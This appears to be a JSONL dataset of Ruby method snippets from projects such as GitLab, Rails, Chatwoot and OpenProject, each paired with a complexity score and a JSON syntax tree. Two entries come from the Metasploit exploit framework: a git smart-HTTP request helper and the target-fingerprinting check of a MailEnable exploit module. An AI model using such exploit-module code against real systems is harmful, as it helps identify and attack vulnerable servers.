{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/validators/cron_validator.rb","start_line":8,"raw_source":"def validate_each(record, attribute, value)\n    if ATTRIBUTE_ALLOWLIST.include?(attribute)\n      cron_parser = Gitlab::Ci::CronParser.new(record.public_send(attribute), record.cron_timezone) # rubocop:disable GitlabSecurity/PublicSend\n      record.errors.add(attribute, 'syntax is invalid') unless cron_parser.cron_valid?\n    else\n      raise NonAllowlistedAttributeError, \"Non-allowlisted attribute\"\n    end\n  end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ATTRIBUTE_ALLOWLIST\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cron_parser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"CronParser\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"cron_timezone\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cron_parser\"]},\"cron_valid?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"str\",\"children\":[\"syntax is invalid\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NonAllowlistedAttributeError\"]},{\"type\":\"str\",\"children\":[\"Non-allowlisted attribute\"]}]}]}]}","id":"bd7a11dc-4a43-4460-bd06-99a97973ecc5"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/analyzer/video_analyzer.rb","start_line":67,"raw_source":"def display_aspect_ratio\n        if descriptor = video_stream[\"display_aspect_ratio\"]\n          if terms = descriptor.split(\":\", 2)\n            numerator   = Integer(terms[0])\n            denominator = Integer(terms[1])\n\n            [numerator, denominator] unless numerator == 0\n          end\n        end\n      end","complexity_score":19.05,"ast_json":"{\"type\":\"def\",\"children\":[\"display_aspect_ratio\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"descriptor\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"video_stream\"]},\"[]\",{\"type\":\"str\",\"children\":[\"display_aspect_ratio\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"terms\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"descriptor\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"numerator\",{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"terms\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"denominator\",{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"terms\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"numerator\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"numerator\"]},{\"type\":\"lvar\",\"children\":[\"denominator\"]}]}]}]},null]},null]}]}","id":"afe29423-1786-4df0-a8e4-6b714eb559a7"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic.rb","start_line":701,"raw_source":"def regular?\n    self.archetype == Archetype.default\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"regular?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"archetype\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Archetype\"]},\"default\"]}]}]}","id":"591fb297-6131-4a83-aa64-4429be51568e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/issuable_extractor.rb","start_line":50,"raw_source":"def query\n      %(\n        descendant-or-self::a[contains(concat(\" \", @class, \" \"), \" gfm \")]\n        [#{reference_types.join(' or ')}]\n      )\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        descendant-or-self::a[contains(concat(\\\" \\\", @class, \\\" \\\"), \\\" gfm \\\")]\\n\"]},{\"type\":\"str\",\"children\":[\"        [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reference_types\"]},\"join\",{\"type\":\"str\",\"children\":[\" or \"]}]}]},{\"type\":\"str\",\"children\":[\"]\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]}","id":"702f2a06-f1f6-4241-b0b0-8152adf18566"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback_rate_detail.rb","start_line":84,"raw_source":"def sub_metric_human\n    sub_metric.present? ? sub_metric.capitalize : 'All'\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"sub_metric_human\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sub_metric\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sub_metric\"]},\"capitalize\"]},{\"type\":\"str\",\"children\":[\"All\"]}]}]}","id":"ff11f5d5-0c35-476b-bc7a-bdbeb76ad627"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/testing/event_reporter_assertions.rb","start_line":18,"raw_source":"def inspect\n            \"#{event_data[:name]} (payload: #{event_data[:payload].inspect}, tags: #{event_data[:tags].inspect})\"\n          end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\" (payload: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\", tags: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tags\"]}]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}","id":"7dcf5252-ba29-4d98-b473-4ba1d8eab635"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/platform/api/v1/agent_bots_controller.rb","start_line":39,"raw_source":"def agent_bot_params\n    params.permit(:name, :description, :account_id, :outgoing_url, :avatar, :avatar_url)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"agent_bot_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"sym\",\"children\":[\"outgoing_url\"]},{\"type\":\"sym\",\"children\":[\"avatar\"]},{\"type\":\"sym\",\"children\":[\"avatar_url\"]}]}]}","id":"0582784e-5b53-48e3-835d-3ba98d139246"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/slack/slack_link_unfurl_service.rb","start_line":64,"raw_source":"def find_conversation_by_id(conversation_id)\n    Conversation.find_by(display_id: conversation_id, account_id: integration_hook.account_id)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_conversation_by_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conversation_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Conversation\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"display_id\"]},{\"type\":\"lvar\",\"children\":[\"conversation_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integration_hook\"]},\"account_id\"]}]}]}]}]}","id":"e5e4411d-f510-4b0d-93dc-74f64d63e189"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/git/smart_http.rb","start_line":74,"raw_source":"def send_want_request(git_uri, git_objs)\n    request_params =\n    {\n      'method' => 'POST',\n      'uri' => normalize_uri(git_uri, 'git-upload-pack'),\n      'ctype'  =>  'application/x-git-upload-pack-request',\n      'headers' => { 'Accept' =>  'application/x-git-upload-pack-result' },\n      'data' => build_pkt_line_want(git_objs)\n    }\n\n    send_request_cgi(request_params)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_want_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"git_uri\"]},{\"type\":\"arg\",\"children\":[\"git_objs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"git_uri\"]},{\"type\":\"str\",\"children\":[\"git-upload-pack\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/x-git-upload-pack-request\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"str\",\"children\":[\"application/x-git-upload-pack-result\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[null,\"build_pkt_line_want\",{\"type\":\"lvar\",\"children\":[\"git_objs\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"lvar\",\"children\":[\"request_params\"]}]}]}]}","id":"dc2e50f8-1cc7-4df0-b983-d7a86811c233"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/health_checks/probes/collection.rb","start_line":15,"raw_source":"def execute\n          readiness = probe_readiness\n          success = all_succeeded?(readiness)\n\n          Probes::Status.new(\n            success ? 200 : 503,\n            status(success).merge(payload(readiness))\n          )\n        rescue StandardError => e\n          exception_payload = { message: \"#{e.class} : #{e.message}\" }\n\n          Probes::Status.new(\n            500,\n            status(false).merge(exception_payload))\n        end","complexity_score":22.38,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"readiness\",{\"type\":\"send\",\"children\":[null,\"probe_readiness\"]}]},{\"type\":\"lvasgn\",\"children\":[\"success\",{\"type\":\"send\",\"children\":[null,\"all_succeeded?\",{\"type\":\"lvar\",\"children\":[\"readiness\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Probes\"]},\"Status\"]},\"new\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},{\"type\":\"int\",\"children\":[200]},{\"type\":\"int\",\"children\":[503]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\",{\"type\":\"lvar\",\"children\":[\"success\"]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"payload\",{\"type\":\"lvar\",\"children\":[\"readiness\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exception_payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" : \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Probes\"]},\"Status\"]},\"new\",{\"type\":\"int\",\"children\":[500]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\",{\"type\":\"false\",\"children\":[]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"exception_payload\"]}]}]}]}]},null]}]}","id":"fbd75e30-c7ea-4ae9-8679-a4ae62ed0135"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/admin/users/index.rb","start_line":46,"raw_source":"def expect_order(*users)\n          rows = page.all \"td.username a\", count: users.count\n          expect(rows.map(&:text)).to eq(users.map(&:login))\n        end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_order\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"users\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"all\",{\"type\":\"str\",\"children\":[\"td.username a\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"count\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]}]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"login\"]}]}]}]}]}]}]}","id":"46507cc6-9298-4a8b-9be5-386f69a6ae20"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop_todo.rb","start_line":20,"raw_source":"def record(file, offense_count)\n      @files << file\n      @offense_count += offense_count\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"record\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"offense_count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@files\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@offense_count\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"offense_count\"]}]}]}]}","id":"2a6d2cbd-90d5-498a-979b-7f5eb15be7e5"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/lib/active_job/continuation/test_helper.rb","start_line":36,"raw_source":"def interrupt_job_during_step(job, step, cursor: nil, &block)\n        require_active_job_test_adapter!(\"interrupt_job_during_step\")\n        queue_adapter.with(stopping: ->() { during_step?(job, step, cursor: cursor) }, &block)\n      end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"interrupt_job_during_step\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]},{\"type\":\"arg\",\"children\":[\"step\"]},{\"type\":\"kwoptarg\",\"children\":[\"cursor\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_active_job_test_adapter!\",{\"type\":\"str\",\"children\":[\"interrupt_job_during_step\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"queue_adapter\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stopping\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"during_step?\",{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"lvar\",\"children\":[\"step\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cursor\"]},{\"type\":\"lvar\",\"children\":[\"cursor\"]}]}]}]}]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"d49ae84b-36fe-41a2-b800-33709df95fce"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/admin/forms/automatically_managed_project_folders_form_component.rb","start_line":66,"raw_source":"def default_form_method\n      new_record? ? :post : :patch\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"default_form_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_record?\"]},{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"sym\",\"children\":[\"patch\"]}]}]}","id":"5ab25d92-7096-4962-9609-fcc59d99df02"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migration_helpers.rb","start_line":52,"raw_source":"def each_batch_range(table_name, connection: self.connection, **kwargs)\n        super(table_name, connection: connection, **kwargs)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"each_batch_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"kwoptarg\",\"children\":[\"connection\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"connection\"]}]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection\"]},{\"type\":\"lvar\",\"children\":[\"connection\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]}]}","id":"adbeea18-89ea-4ac4-b418-886253ca20e3"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/hooks.rb","start_line":431,"raw_source":"def register_globals(host, globals)\n          parent_groups = host.parent_groups\n\n          process(host, parent_groups, globals, :before, :example, &:options)\n          process(host, parent_groups, globals, :after,  :example, &:options)\n          process(host, parent_groups, globals, :around, :example, &:options)\n\n          process(host, parent_groups, globals, :before, :context, &:options)\n          process(host, parent_groups, globals, :after,  :context, &:options)\n        end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"register_globals\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"arg\",\"children\":[\"globals\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent_groups\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"parent_groups\"]}]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"parent_groups\"]},{\"type\":\"lvar\",\"children\":[\"globals\"]},{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"sym\",\"children\":[\"example\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"parent_groups\"]},{\"type\":\"lvar\",\"children\":[\"globals\"]},{\"type\":\"sym\",\"children\":[\"after\"]},{\"type\":\"sym\",\"children\":[\"example\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"parent_groups\"]},{\"type\":\"lvar\",\"children\":[\"globals\"]},{\"type\":\"sym\",\"children\":[\"around\"]},{\"type\":\"sym\",\"children\":[\"example\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"parent_groups\"]},{\"type\":\"lvar\",\"children\":[\"globals\"]},{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"parent_groups\"]},{\"type\":\"lvar\",\"children\":[\"globals\"]},{\"type\":\"sym\",\"children\":[\"after\"]},{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]}]}]}]}]}","id":"94a09f8f-21af-496d-aa10-98e0db59f760"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/extensions/view/context.rb","start_line":19,"raw_source":"def context_class(slice)\n            views_namespace = views_namespace(slice)\n\n            if views_namespace.const_defined?(:Context)\n              return views_namespace.const_get(:Context)\n            end\n\n            views_namespace.const_set(:Context, Class.new(context_superclass(slice)).tap { |klass|\n              klass.configure_for_slice(slice)\n            })\n          end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"context_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"slice\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"views_namespace\",{\"type\":\"send\",\"children\":[null,\"views_namespace\",{\"type\":\"lvar\",\"children\":[\"slice\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"views_namespace\"]},\"const_defined?\",{\"type\":\"sym\",\"children\":[\"Context\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"views_namespace\"]},\"const_get\",{\"type\":\"sym\",\"children\":[\"Context\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"views_namespace\"]},\"const_set\",{\"type\":\"sym\",\"children\":[\"Context\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"context_superclass\",{\"type\":\"lvar\",\"children\":[\"slice\"]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"configure_for_slice\",{\"type\":\"lvar\",\"children\":[\"slice\"]}]}]}]}]}]}","id":"e98ec951-0f4a-4a78-a8d4-6132449a8f91"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/blob_helper.rb","start_line":48,"raw_source":"def fork_path_for_current_user(project, path, with_notice: true)\n    return unless current_user\n\n    project_forks_path(\n      project,\n      namespace_key: current_user.namespace&.id,\n      continue: edit_blob_fork_params(path, with_notice: with_notice)\n    )\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fork_path_for_current_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"kwoptarg\",\"children\":[\"with_notice\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"project_forks_path\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_key\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"namespace\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"continue\"]},{\"type\":\"send\",\"children\":[null,\"edit_blob_fork_params\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with_notice\"]},{\"type\":\"lvar\",\"children\":[\"with_notice\"]}]}]}]}]}]}]}]}]}","id":"a5f093d8-3629-4160-9b7f-e4ada8b9ce75"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/mailenable_auth_header.rb","start_line":52,"raw_source":"def check\n    info = http_fingerprint # check method\n    if (info =~ /MailEnable/)\n      return Exploit::CheckCode::Detected\n    end\n\n    Exploit::CheckCode::Safe\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"send\",\"children\":[null,\"http_fingerprint\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MailEnable\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}","id":"c857b745-fa15-479b-904f-19074d599865"}
{"repo_name":"forem","file_path":"./repos/forem/spec/system/articles/user_visits_articles_by_timeframe_spec.rb","start_line":30,"raw_source":"def shows_main_article\n    expect(page).to have_selector(\".crayons-story--featured\", visible: :visible, count: 1)\n  end","complexity_score":5.15,"ast_json":"{\"type\":\"def\",\"children\":[\"shows_main_article\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_selector\",{\"type\":\"str\",\"children\":[\".crayons-story--featured\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"sym\",\"children\":[\"visible\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"7a4245b8-ae6f-48a6-950f-c1c0cb7eae1a"}
